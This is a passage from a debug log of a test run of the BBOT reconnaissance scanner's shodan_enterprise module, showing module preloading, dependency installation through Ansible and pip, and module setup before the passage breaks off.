1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'asn': {}, 'affiliates': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_awsj7y3s1x'}, 'started_at': '2026-02-27T19:08:04.278805', 'finished_at': '2026-02-27T19:08:04.840006', 'duration_seconds': 0.561201, 'duration': '0 seconds', 'status': 'FINISHED'} +2026-02-27 19:08:04,984 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 19:08:04,984 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 19:08:54,439 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:08:54,449 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:08:54,449 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:08:54,450 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:08:54,451 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:08:54,452 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:08:54,452 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:08:54,453 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:08:54,454 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:08:54,454 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:08:54,455 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:08:54,455 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:08:54,460 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:08:54,461 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:08:54,461 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:08:54,462 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:08:54,463 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:08:54,463 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:08:54,464 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:08:54,465 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:08:54,466 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:08:54,466 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:08:54,467 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:08:54,468 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:08:54,468 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:08:54,469 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:08:54,470 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:08:54,470 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:08:54,471 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:08:54,472 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:08:54,472 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:08:54,473 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:08:54,473 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:08:54,474 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:08:54,475 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:08:54,475 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 19:08:54,476 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:08:54,476 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:08:54,482 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:08:54,482 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:08:54,483 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:08:54,484 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:08:54,485 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:08:54,486 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:08:54,487 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:08:54,487 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:08:54,488 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:08:54,489 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:08:54,490 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:08:54,491 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:08:54,492 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:08:54,492 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:08:54,493 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:08:54,494 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:08:54,495 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:08:54,495 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:08:54,496 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:08:54,496 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:08:54,497 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:08:54,497 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:08:54,498 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:08:54,499 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:08:54,499 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:08:54,500 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:08:54,500 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:08:54,502 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:08:54,502 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:08:54,503 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:08:54,504 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:08:54,504 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:08:54,505 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:08:54,505 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:08:54,506 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:08:54,507 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:08:54,507 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:08:54,508 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:08:54,508 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:08:54,509 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:08:54,510 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:08:54,510 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:08:54,511 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:08:54,511 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:08:54,512 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:08:54,512 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:08:54,513 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:08:54,514 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:08:54,514 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:08:54,515 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:08:54,515 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:08:54,516 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:08:54,516 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:08:54,518 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:08:54,518 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:08:54,519 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 19:08:54,519 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:08:54,520 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:08:54,520 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:08:54,521 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:08:54,522 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:08:54,522 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:08:54,523 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:08:54,524 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:08:54,524 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:08:54,525 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:08:54,525 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:08:54,526 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:08:54,527 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:08:54,527 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:08:54,528 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:08:54,528 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:08:54,529 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:08:54,529 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:08:54,530 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:08:54,530 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:08:54,531 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:08:54,532 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:08:54,532 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:08:54,533 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:08:54,533 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:08:54,533 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:08:54,534 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:08:54,535 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:08:54,536 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:08:54,536 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:08:54,537 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:08:54,538 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:08:54,539 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:08:54,539 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:08:54,540 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:08:54,540 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:08:54,541 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:08:54,542 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:08:54,543 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:08:54,543 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:08:54,544 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:08:54,545 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:08:54,546 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:08:54,547 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:08:54,548 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:08:54,549 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:08:54,550 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:08:54,550 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:08:54,551 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:08:54,552 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:08:54,553 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:08:54,554 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:08:54,555 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:08:54,555 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:08:54,556 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:08:54,556 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:08:54,557 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:08:54,558 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:08:54,558 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:08:54,559 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:08:54,559 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:08:54,560 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:08:54,561 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:08:54,562 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:08:54,562 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:08:54,563 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 19:08:54,564 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:08:54,567 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:08:54,567 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:08:54,569 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:08:54,569 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:08:54,571 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:08:54,571 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:08:54,572 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:08:54,573 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:08:54,573 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:08:55,699 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:08:55,699 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:08:55,700 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:08:55,842 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:08:56,416 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:08:56,417 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:08:56,417 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:08:56,417 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:08:56,622 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:08:56,623 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:08:56,734 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:08:56,734 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:08:56,790 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:08:56,792 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:08:56,793 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:08:57,247 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:08:57,247 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:09:02,597 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:09:02,598 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:09:02,598 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:09:04,388 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:09:04,389 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:09:04,393 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:09:04,394 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:09:04,395 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:09:04,395 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:09:04,395 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:09:04,400 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/apc9cgamxdguqkweiuam +2026-02-27 19:09:05,153 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:09:05,154 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:09:05,155 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:09:05,155 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:09:05,156 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:09:05,287 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:09:05,287 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:09:05,287 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:09:05,289 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:09:05,289 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:09:05,289 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:09:05,290 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:09:05,290 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:09:05,291 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:09:05,291 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:09:05,291 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:09:05,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:09:05,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:09:05,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:09:05,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:09:05,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:09:05,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:09:05,293 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:09:05,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:09:05,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:09:05,294 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:09:05,294 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:09:05,294 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:09:05,294 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:09:05,295 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:09:05,295 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:09:05,295 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:09:05,295 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:09:05,295 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:09:05,296 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:09:05,296 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:09:05,296 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:09:05,296 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:09:05,297 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:09:05,297 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:09:05,298 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:09:05,299 [SUCCESS] bbot.scanner scanner.py:1201 Setup 